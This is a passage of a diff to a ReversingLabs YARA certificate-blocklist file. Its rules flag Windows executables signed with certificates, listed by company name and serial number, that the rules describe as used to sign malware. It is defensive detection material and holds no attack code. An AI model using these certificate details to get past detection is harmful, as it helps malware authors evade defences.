"8d1435d2fa70db12cde2f9098e35ca1737f5aac36bac91329b28f03aad090e90" + logic_hash = "6d2f4346760bf52a438c4c996e92a2641bebfd536248776383d7c8394e094e6a" score = 75 quality = 90 tags = "INFO, FILE" @@ -21821,21 +44215,21 @@ rule REVERSINGLABS_Cert_Blocklist_032660Ee1D49Ad35086027473E2614E5E724 : INFO FI importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "sunshine.com" and pe.signatures [ i ] . serial == "03:26:60:ee:1d:49:ad:35:08:60:27:47:3e:26:14:e5:e7:24" and 1660238245 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Geksan LLC" and pe.signatures [ i ] . serial == "03:b6:30:f9:64:55:31:f8:86:8d:ae:8a:c0:f8:cf:e6" and 1594252801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_043052956E1E6Dbd5F6Ae3D8B82Cad2A2Ed8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6F8373Cf89F1B49138F4328118487F9E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ac09f8ac-fbdd-5989-a7e7-07373a69213b" + id = "80c5d205-7f5e-5e06-b490-f33205154974" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10990-L11006" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4986-L5002" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c29fb109c741437a3739f1c42aadace8f612ef1e3ea90e3e2bdd8a92c85e766a" + logic_hash = "f926c2f73d47d463721a0cad48d9866192df55d71867941a40cba7e0b7725102" score = 75 quality = 90 tags = "INFO, FILE" @@ -21845,21 +44239,21 @@ rule REVERSINGLABS_Cert_Blocklist_043052956E1E6Dbd5F6Ae3D8B82Cad2A2Ed8 : INFO FI importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ok.com" and pe.signatures [ i ] . serial == "04:30:52:95:6e:1e:6d:bd:5f:6a:e3:d8:b8:2c:ad:2a:2e:d8" and 1662149613 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "30 PTY LTD" and pe.signatures [ i ] . serial == "6f:83:73:cf:89:f1:b4:91:38:f4:32:81:18:48:7f:9e" and 1572566400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Dbc03Ca7E6Ae6Db6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E38259Cf24Cc702Ce441B683Ad578911 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a5ac5da6-0bb0-5327-ac3a-b53d2f103fe6" + id = "fc5df86f-b8c9-58b1-bd41-e03ed50829dd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11008-L11026" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5004-L5022" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0077b9c46ddd98a4929878ba4ba9476ed7fb1d7bf6e30c3ae0f950445d01e8f3" + logic_hash = "2428df14a18f4aed1a3db85c1fb43a847fae8a922c6dc948f3bc514dc4cae09c" score = 75 quality = 90 tags = "INFO, FILE" @@ -21869,21 +44263,21 @@ rule REVERSINGLABS_Cert_Blocklist_Dbc03Ca7E6Ae6Db6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPIDER DEVELOPMENTS PTY LTD" and ( pe.signatures [ i ] . serial == "00:db:c0:3c:a7:e6:ae:6d:b6" or pe.signatures [ i ] . serial == "db:c0:3c:a7:e6:ae:6d:b6" ) and 1600826873 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Akhirah Technologies Inc." and ( pe.signatures [ i ] . serial == "00:e3:82:59:cf:24:cc:70:2c:e4:41:b6:83:ad:57:89:11" or pe.signatures [ i ] . serial == "e3:82:59:cf:24:cc:70:2c:e4:41:b6:83:ad:57:89:11" ) and 1597276800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7D27332C3Cb3A382A4Fd232C5C66A2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Bdc81Bc76090Dae0Eee2E1Eb744A4F9A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d8390528-ff27-514d-ab89-fd563a19ce3c" + id = "66feefd2-9cec-56fc-a1c1-11004363462d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11028-L11044" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5024-L5042" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c1c50015db7f97b530819b40e2578463a6021bfff8e2582858a4c3fbd1a9b9bc" + logic_hash = "4fc3e57bedb6fb7c96e6a1ee2ad2aec3860716ac714d52ea58b86be4bbda4660" score = 75 quality = 90 tags = "INFO, FILE" @@ -21893,21 +44287,21 @@ rule REVERSINGLABS_Cert_Blocklist_7D27332C3Cb3A382A4Fd232C5C66A2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MALVINA RECRUITMENT LIMITED" and pe.signatures [ i ] . serial == "7d:27:33:2c:3c:b3:a3:82:a4:fd:23:2c:5c:66:a2" and 1655424000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALM4U GmbH" and ( pe.signatures [ i ] . serial == "00:bd:c8:1b:c7:60:90:da:e0:ee:e2:e1:eb:74:4a:4f:9a" or pe.signatures [ i ] . serial == "bd:c8:1b:c7:60:90:da:e0:ee:e2:e1:eb:74:4a:4f:9a" ) and 1579824000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_82D224323Efa65060B641F51Fadfef02 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B2E730B0526F36Faf7D093D48D6D9997 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "166949cf-dbff-5713-950e-46d1f3edc61f" + id = "eb82e05b-9aee-5ea7-88a5-8d186b8aafb8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11046-L11064" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5044-L5062" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9d361c91ed24b6c20a7b35957e26f208ce8e0a3d79c5a6fed6278acd826ccf49" + logic_hash = "f74cc94428d7739abf6ee76f6cbd53aa47cea815a014de0d786fe53b15f66201" score = 75 quality = 90 tags = "INFO, FILE" @@ -21917,21 +44311,21 @@ rule REVERSINGLABS_Cert_Blocklist_82D224323Efa65060B641F51Fadfef02 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAVAS INVESTMENTS PTY LTD" and ( pe.signatures [ i ] . serial == "00:82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02" or pe.signatures [ i ] . serial == "82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02" ) and 1665100800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bamboo Connect s.r.o." and ( pe.signatures [ i ] . serial == "00:b2:e7:30:b0:52:6f:36:fa:f7:d0:93:d4:8d:6d:99:97" or pe.signatures [ i ] . serial == "b2:e7:30:b0:52:6f:36:fa:f7:d0:93:d4:8d:6d:99:97" ) and 1597276800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_890570B6B0E2868A53Be3F8F904A88Ee : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7156Ec47Ef01Ab8359Ef4304E5Af1A05 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "681d233c-d5a2-5f25-bdb9-125149a291c4" + id = "b285a407-7f71-5c7e-baae-bfa111a50101" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11066-L11084" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5064-L5080" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fb7af8ec09da2fecaaaed8c7770966f11ef8a44a131553a9d1412387db2fb7ea" + logic_hash = "7bb093287dd309ce12859eca9a9fc98095b3d52ec860626fe6e743bace262fde" score = 75 quality = 90 tags = "INFO, FILE" @@ -21941,21 +44335,21 @@ rule REVERSINGLABS_Cert_Blocklist_890570B6B0E2868A53Be3F8F904A88Ee : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JESEN LESS d.o.o." and ( pe.signatures [ i ] . serial == "00:89:05:70:b6:b0:e2:86:8a:53:be:3f:8f:90:4a:88:ee" or pe.signatures [ i ] . serial == "89:05:70:b6:b0:e2:86:8a:53:be:3f:8f:90:4a:88:ee" ) and 1636588800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BOREC, OOO" and pe.signatures [ i ] . serial == "71:56:ec:47:ef:01:ab:83:59:ef:43:04:e5:af:1a:05" and 1597363200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2642Fe865F7566Ce3123A5142C207094 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_13794371C052Ec0559E9B492Abb25C26 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "508d9c00-c209-55b2-9a40-b62ff4d866c9" + id = "31f119a3-e0da-5875-826f-68c40c6f8b88" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11086-L11102" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5082-L5098" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1ad4adf8b05a6cc065d289e6963480d37a92712a318744a30a16aad22380f238" + logic_hash = "7383d1fb1fa6e49f8fa9e1eecfe3fcedb8a11702fbd3700630a11b12da29fedf" score = 75 quality = 90 tags = "INFO, FILE" @@ -21965,21 +44359,21 @@ rule REVERSINGLABS_Cert_Blocklist_2642Fe865F7566Ce3123A5142C207094 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C.W.D. INSTAL LTD" and pe.signatures [ i ] . serial == "26:42:fe:86:5f:75:66:ce:31:23:a5:14:2c:20:70:94" and 1666310400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Carmel group LLC" and pe.signatures [ i ] . serial == "13:79:43:71:c0:52:ec:05:59:e9:b4:92:ab:b2:5c:26" and 1599177600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4A2E337Fff23E5B2A1321Ffde56D1759 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5C7E78F53C31D6Aa5B45De14B47Eb5C4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e5cae614-eff1-5c3d-a7f6-c41b0a2c412e" + id = "5906107a-03ce-5ca4-b0a7-12b0b45359dd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11104-L11120" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5100-L5116" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bc2df95ddf1ef3d5f83d14852e1cf6cbf4b71bfbe88fc97c2a4553e8581ddf47" + logic_hash = "7521abc5c93f0336af4fab95268962aa3d3fb48fed6a8ba7fdb98e373158b327" score = 75 quality = 90 tags = "INFO, FILE" @@ -21989,21 +44383,21 @@ rule REVERSINGLABS_Cert_Blocklist_4A2E337Fff23E5B2A1321Ffde56D1759 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Karolina Klimowska" and pe.signatures [ i ] . serial == "4a:2e:33:7f:ff:23:e5:b2:a1:32:1f:fd:e5:6d:17:59" and 1660314070 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cubic Information Systems, UAB" and pe.signatures [ i ] . serial == "5c:7e:78:f5:3c:31:d6:aa:5b:45:de:14:b4:7e:b5:c4" and 1579824000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_92D9B92F8Cf7A1Ba8B2C025Be730C300 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Dadf44E4046372313Ee97B8E394C4079 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bc37efaa-9ceb-5079-999f-b3d17c585b1c" + id = "bebfbbd7-8d42-50a3-8efa-85b641eb069a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11122-L11140" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5118-L5136" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2a0be6157e589705ad19756971bd865edad2d54760d03c2e6f47a461b402ad68" + logic_hash = "170533935b91776ec2413106c55ed4a01c33f32a469a855824cac796f2e132a0" score = 75 quality = 90 tags = "INFO, FILE" @@ -22013,21 +44407,21 @@ rule REVERSINGLABS_Cert_Blocklist_92D9B92F8Cf7A1Ba8B2C025Be730C300 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UPLagga Systems s.r.o." and ( pe.signatures [ i ] . serial == "00:92:d9:b9:2f:8c:f7:a1:ba:8b:2c:02:5b:e7:30:c3:00" or pe.signatures [ i ] . serial == "92:d9:b9:2f:8c:f7:a1:ba:8b:2c:02:5b:e7:30:c3:00" ) and 1598054400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digital Capital Management Ireland Limited" and ( pe.signatures [ i ] . serial == "00:da:df:44:e4:04:63:72:31:3e:e9:7b:8e:39:4c:40:79" or pe.signatures [ i ] . serial == "da:df:44:e4:04:63:72:31:3e:e9:7b:8e:39:4c:40:79" ) and 1600244736 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B8164F7143E1A313003Ab0C834562F1F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F8C2E08438Bb0E9Adc955E4B493E5821 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "50d50330-4098-59dd-b2da-0714eefdfc66" + id = "65297530-2482-5773-8914-461fb56cb41d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11142-L11160" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5138-L5156" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a42fec2e0e8d37948420f16907f39c3d502c535be98024d04a777dfbc633004d" + logic_hash = "5dbe554032c945c46ffd61ef1e0deb59d396a70dd63994bf44c65d849ec8220a" score = 75 quality = 90 tags = "INFO, FILE" @@ -22037,21 +44431,21 @@ rule REVERSINGLABS_Cert_Blocklist_B8164F7143E1A313003Ab0C834562F1F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ekitai Data Inc." and ( pe.signatures [ i ] . serial == "00:b8:16:4f:71:43:e1:a3:13:00:3a:b0:c8:34:56:2f:1f" or pe.signatures [ i ] . serial == "b8:16:4f:71:43:e1:a3:13:00:3a:b0:c8:34:56:2f:1f" ) and 1598313600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DocsGen Software Solutions Inc." and ( pe.signatures [ i ] . serial == "00:f8:c2:e0:84:38:bb:0e:9a:dc:95:5e:4b:49:3e:58:21" or pe.signatures [ i ] . serial == "f8:c2:e0:84:38:bb:0e:9a:dc:95:5e:4b:49:3e:58:21" ) and 1599523200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_24E4A2B3Db6Be1007B9Ddc91995Bc0C8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_70E1Ebd170Db8102D8C28E58392E5632 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8e533ebf-a124-53a9-8647-6f4b40aaa066" + id = "e3b0f68c-8cc9-5275-988a-8d955ea25a47" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11162-L11178" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5158-L5174" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "861691ce7bae4366f3b35d01c84bb0031b54653869f52eaccf20808b1b55d2af" + logic_hash = "e1738eddc1da0876a373ee7f35bff155d56c1b98a23cb117c0e7a966f8fa3c92" score = 75 quality = 90 tags = "INFO, FILE" @@ -22061,21 +44455,21 @@ rule REVERSINGLABS_Cert_Blocklist_24E4A2B3Db6Be1007B9Ddc91995Bc0C8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FLY BETTER s.r.o." and pe.signatures [ i ] . serial == "24:e4:a2:b3:db:6b:e1:00:7b:9d:dc:91:99:5b:c0:c8" and 1645142400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Equal Cash Technologies Limited" and pe.signatures [ i ] . serial == "70:e1:eb:d1:70:db:81:02:d8:c2:8e:58:39:2e:56:32" and 1599264000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_881573Fc67Ff7395Dde5Bccfbce5B088 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_09C89De6F64A7Fdf657E69353C5Fdd44 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d188c65c-ee7b-586f-95f0-8de5b506c325" + id = "f86eafb5-ec59-58c5-b5f9-01a6704fb555" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11180-L11198" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5176-L5192" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ce489a4a2f07181d6fbf295f426deeaf51310e061bac2e56d65b37eeb397ff9a" + logic_hash = "1cb57cd68cda91754307d2e4d94ea011975bbfff0f15134081a5aa11870b0db1" score = 75 quality = 90 tags = "INFO, FILE" @@ -22085,21 +44479,21 @@ rule REVERSINGLABS_Cert_Blocklist_881573Fc67Ff7395Dde5Bccfbce5B088 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trade in Brasil s.r.o." and ( pe.signatures [ i ] . serial == "00:88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88" or pe.signatures [ i ] . serial == "88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88" ) and 1620000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EXON RENTAL SP Z O O" and pe.signatures [ i ] . serial == "09:c8:9d:e6:f6:4a:7f:df:65:7e:69:35:3c:5f:dd:44" and 1601337601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_53E1F226Cb77574F8Fbeb5682Da091Bb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ffff2Ce862378B26440Df49Ca9175B70 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fe3abe27-c8c8-54b8-b031-0546c9bfda90" + id = "d5d1e84d-328f-53ac-adb6-3824fa77a47d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11200-L11216" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5194-L5212" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "591846225d5faf3ee8f3102acaad066f0187219044077bbdaf32345613b00965" + logic_hash = "8ed7b0643b07ce4954f570157e1534ee1ed647717cce00fe7f2b572c9b5d0042" score = 75 quality = 90 tags = "INFO, FILE" @@ -22109,21 +44503,21 @@ rule REVERSINGLABS_Cert_Blocklist_53E1F226Cb77574F8Fbeb5682Da091Bb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OdyLab Inc" and pe.signatures [ i ] . serial == "53:e1:f2:26:cb:77:57:4f:8f:be:b5:68:2d:a0:91:bb" and 1654020559 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "F & A.TIM d.o.o." and ( pe.signatures [ i ] . serial == "00:ff:ff:2c:e8:62:37:8b:26:44:0d:f4:9c:a9:17:5b:70" or pe.signatures [ i ] . serial == "ff:ff:2c:e8:62:37:8b:26:44:0d:f4:9c:a9:17:5b:70" ) and 1576195200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0772B4D1D63233D2B8771997Bc8Da5C4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3223B4616C2687C04865Bee8321726A8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fe602ac3-fa34-5056-a2cc-5ae9de728559" + id = "089aae56-4f46-563c-800a-dbf57db2bde6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11218-L11234" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5214-L5230" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "30586a643b29f3c943b3f35bb1639c5b9fa48ecbd776775086e35af502aa4a7a" + logic_hash = "fcb0a14866b3612c5ec5a7db7a3333e20a4605695b3d019eef84de85d7b3ea4d" score = 75 quality = 90 tags = "INFO, FILE" @@ -22133,21 +44527,21 @@ rule REVERSINGLABS_Cert_Blocklist_0772B4D1D63233D2B8771997Bc8Da5C4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Maya logistika d.o.o." and pe.signatures [ i ] . serial == "07:72:b4:d1:d6:32:33:d2:b8:77:19:97:bc:8d:a5:c4" and 1637971201 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTUNE STAR TRADING, INC." and pe.signatures [ i ] . serial == "32:23:b4:61:6c:26:87:c0:48:65:be:e8:32:17:26:a8" and 1601337600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_02B6656292310B84022Db5541Bc48Faf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7709D2Df39E9A4F7Db2F3Cbc29B49743 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d679238f-a697-5322-815c-9986c9d24032" + id = "7227daa3-453d-5bb8-804c-8a97cd0d81c6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11236-L11252" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5232-L5248" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "40b570b28e10ebd2a1ba515dc3fa45bdb5c0b76044e4dda7a6819976072a67a2" + logic_hash = "c9ade45e0f9fb737a08ffa94d1fff89471a1cbcbacc139730fab88e382226d0b" score = 75 quality = 90 tags = "INFO, FILE" @@ -22157,21 +44551,21 @@ rule REVERSINGLABS_Cert_Blocklist_02B6656292310B84022Db5541Bc48Faf : INFO FILE importance = 25 